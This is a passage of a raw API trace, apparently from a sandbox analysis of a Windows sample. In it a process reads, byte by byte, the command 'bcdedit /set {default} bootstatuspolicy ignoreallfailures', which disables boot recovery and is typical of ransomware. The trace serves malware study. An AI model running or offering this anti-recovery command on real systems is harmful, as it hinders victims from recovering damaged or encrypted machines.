lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e326, cchWideChar=1 | out: lpWideCharStr="edit /set {default} bootstatuspolicy ignoreallfailures\n") returned 1 [0279.940] _get_osfhandle (_FileHandle=0) returned 0xb0 [0279.941] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0279.941] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0279.941] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e328, cchWideChar=1 | out: lpWideCharStr="dit /set {default} bootstatuspolicy ignoreallfailures\n") returned 1 [0279.941] _get_osfhandle (_FileHandle=0) returned 0xb0 [0279.941] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0279.941] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0279.941] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32a, cchWideChar=1 | out: lpWideCharStr="it /set {default} bootstatuspolicy ignoreallfailures\n") returned 1 [0279.941] _get_osfhandle (_FileHandle=0) returned 0xb0 [0279.941] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0279.941] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0279.941] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32c, cchWideChar=1 | out: lpWideCharStr="t /set {default} bootstatuspolicy ignoreallfailures\n") returned 1 [0279.941] _get_osfhandle (_FileHandle=0) returned 0xb0 [0279.941] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0279.941] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0279.941] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32e, cchWideChar=1 | out: lpWideCharStr=" /set {default} bootstatuspolicy ignoreallfailures\n") returned 1 [0279.941] _get_osfhandle (_FileHandle=0) returned 0xb0 [0279.941] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0279.942] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0279.942] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e330, cchWideChar=1 | out: lpWideCharStr="/set {default} bootstatuspolicy ignoreallfailures\n") returned 1 [0279.942] _get_osfhandle (_FileHandle=0) returned 0xb0 [0279.942] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0279.942] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0279.942] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e332, cchWideChar=1 | out: lpWideCharStr="set {default} bootstatuspolicy ignoreallfailures\n") returned 1 [0279.942] _get_osfhandle (_FileHandle=0) returned 0xb0 [0279.942] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0279.942] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0279.942] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e334, cchWideChar=1 | out: lpWideCharStr="et {default} bootstatuspolicy ignoreallfailures\n") returned 1 [0279.942] _get_osfhandle (_FileHandle=0) returned 0xb0 [0279.942] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0279.942] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0279.942] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e336, cchWideChar=1 | out: lpWideCharStr="t {default} bootstatuspolicy ignoreallfailures\n") returned 1 [0279.942] _get_osfhandle (_FileHandle=0) returned 0xb0 [0279.942] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0279.942] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0279.942] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e338, cchWideChar=1 | out: lpWideCharStr=" {default} bootstatuspolicy ignoreallfailures\n") returned 1 [0279.942] _get_osfhandle (_FileHandle=0) returned 0xb0 [0279.943] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0279.943] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0279.943] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33a, cchWideChar=1 | out: lpWideCharStr="{default} bootstatuspolicy ignoreallfailures\n") returned 1 [0279.943] _get_osfhandle (_FileHandle=0) returned 0xb0 [0279.944] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0279.945] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0279.945] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33c, cchWideChar=1 | out: lpWideCharStr="default} bootstatuspolicy ignoreallfailures\n") returned 1 [0279.945] _get_osfhandle (_FileHandle=0) returned 0xb0 [0279.945] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0279.945] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0279.945] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33e, cchWideChar=1 | out: lpWideCharStr="efault} bootstatuspolicy ignoreallfailures\n") returned 1 [0279.945] _get_osfhandle (_FileHandle=0) returned 0xb0 [0279.945] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0279.945] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0279.945] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e340, cchWideChar=1 | out: lpWideCharStr="fault} bootstatuspolicy ignoreallfailures\n") returned 1 [0279.945] _get_osfhandle (_FileHandle=0) returned 0xb0 [0279.945] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0279.945] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0279.945] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e342, cchWideChar=1 | out: lpWideCharStr="ault} bootstatuspolicy ignoreallfailures\n") returned 1 [0279.945] _get_osfhandle (_FileHandle=0) returned 0xb0 [0279.945] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0279.945] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0279.946] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e344, cchWideChar=1 | out: lpWideCharStr="ult} bootstatuspolicy ignoreallfailures\n") returned 1 [0279.946] _get_osfhandle (_FileHandle=0) returned 0xb0 [0279.946] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0279.946] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0279.946] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e346, cchWideChar=1 | out: lpWideCharStr="lt} bootstatuspolicy ignoreallfailures\n") returned 1 [0279.946] _get_osfhandle (_FileHandle=0) returned 0xb0 [0279.946] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0279.946] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0279.946] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e348, cchWideChar=1 | out: lpWideCharStr="t} bootstatuspolicy ignoreallfailures\n") returned 1 [0279.946] _get_osfhandle (_FileHandle=0) returned 0xb0 [0279.946] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0279.946] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0279.946] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e34a, cchWideChar=1 | out: lpWideCharStr="} bootstatuspolicy ignoreallfailures\n") returned 1 [0279.946] _get_osfhandle (_FileHandle=0) returned 0xb0 [0279.946] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0279.946] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0279.946] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e34c, cchWideChar=1 | out: lpWideCharStr=" bootstatuspolicy ignoreallfailures\n") returned 1 [0279.946] _get_osfhandle (_FileHandle=0) returned 0xb0 [0279.946] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0279.947] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0279.947] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e34e, cchWideChar=1 | out: lpWideCharStr="rootstatuspolicy ignoreallfailures\n") returned 1 [0279.947] _get_osfhandle (_FileHandle=0) returned 0xb0 [0279.947] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0279.947] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0279.947] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e350, cchWideChar=1 | out: lpWideCharStr="eotstatuspolicy ignoreallfailures\n") returned 1 [0279.947] _get_osfhandle (_FileHandle=0) returned 0xb0 [0279.947] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0279.947] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0279.947] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e352, cchWideChar=1 | out: lpWideCharStr="ctstatuspolicy ignoreallfailures\n") returned 1 [0279.947] _get_osfhandle (_FileHandle=0) returned 0xb0 [0279.947] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0279.947] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0279.947] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e354, cchWideChar=1 | out: lpWideCharStr="ostatuspolicy ignoreallfailures\n") returned 1 [0279.947] _get_osfhandle (_FileHandle=0) returned 0xb0 [0279.947] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0279.947] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0279.947] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e356, cchWideChar=1 | out: lpWideCharStr="vtatuspolicy ignoreallfailures\n") returned 1 [0279.947] _get_osfhandle (_FileHandle=0) returned 0xb0 [0279.947] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0279.948] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0279.948] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e358, cchWideChar=1 | out: lpWideCharStr="eatuspolicy ignoreallfailures\n") returned 1 [0279.948] _get_osfhandle (_FileHandle=0) returned 0xb0 [0279.948] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0279.948] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0279.948] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e35a, cchWideChar=1 | out: lpWideCharStr="rtuspolicy ignoreallfailures\n") returned 1 [0279.948] _get_osfhandle (_FileHandle=0) returned 0xb0 [0279.948] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0279.948] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0279.948] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e35c, cchWideChar=1 | out: lpWideCharStr="yuspolicy ignoreallfailures\n") returned 1 [0279.948] _get_osfhandle (_FileHandle=0) returned 0xb0 [0279.948] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0279.948] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0279.948] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e35e, cchWideChar=1 | out: lpWideCharStr="espolicy ignoreallfailures\n") returned 1 [0279.948] _get_osfhandle (_FileHandle=0) returned 0xb0 [0279.948] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0279.948] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0279.948] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e360, cchWideChar=1 | out: lpWideCharStr="npolicy ignoreallfailures\n") returned 1 [0279.948] _get_osfhandle (_FileHandle=0) returned 0xb0 [0279.949] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0279.949] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0279.949] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e362, cchWideChar=1 | out: lpWideCharStr="aolicy ignoreallfailures\n") returned 1 [0279.949] _get_osfhandle (_FileHandle=0) returned 0xb0 [0279.949] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0279.949] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0279.949] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e364, cchWideChar=1 | out: lpWideCharStr="blicy ignoreallfailures\n") returned 1 [0279.949] _get_osfhandle (_FileHandle=0) returned 0xb0 [0279.949] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0279.949] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0279.949] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e366, cchWideChar=1 | out: lpWideCharStr="licy ignoreallfailures\n") returned 1 [0279.949] _get_osfhandle (_FileHandle=0) returned 0xb0 [0279.949] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0279.949] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0279.949] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e368, cchWideChar=1 | out: lpWideCharStr="ecy ignoreallfailures\n") returned 1 [0279.949] _get_osfhandle (_FileHandle=0) returned 0xb0 [0279.949] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0279.949] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0279.950] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e36a, cchWideChar=1 | out: lpWideCharStr="dy ignoreallfailures\n") returned 1 [0279.950] _get_osfhandle (_FileHandle=0) returned 0xb0 [0279.950] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0279.950] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0279.950] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e36c, cchWideChar=1 | out: lpWideCharStr=" ignoreallfailures\n") returned 1 [0279.950] _get_osfhandle (_FileHandle=0) returned 0xb0 [0279.950] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0279.950] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0279.950] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e36e, cchWideChar=1 | out: lpWideCharStr="nignoreallfailures\n") returned 1 [0279.950] _get_osfhandle (_FileHandle=0) returned 0xb0 [0279.950] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0279.950] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0279.950] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, 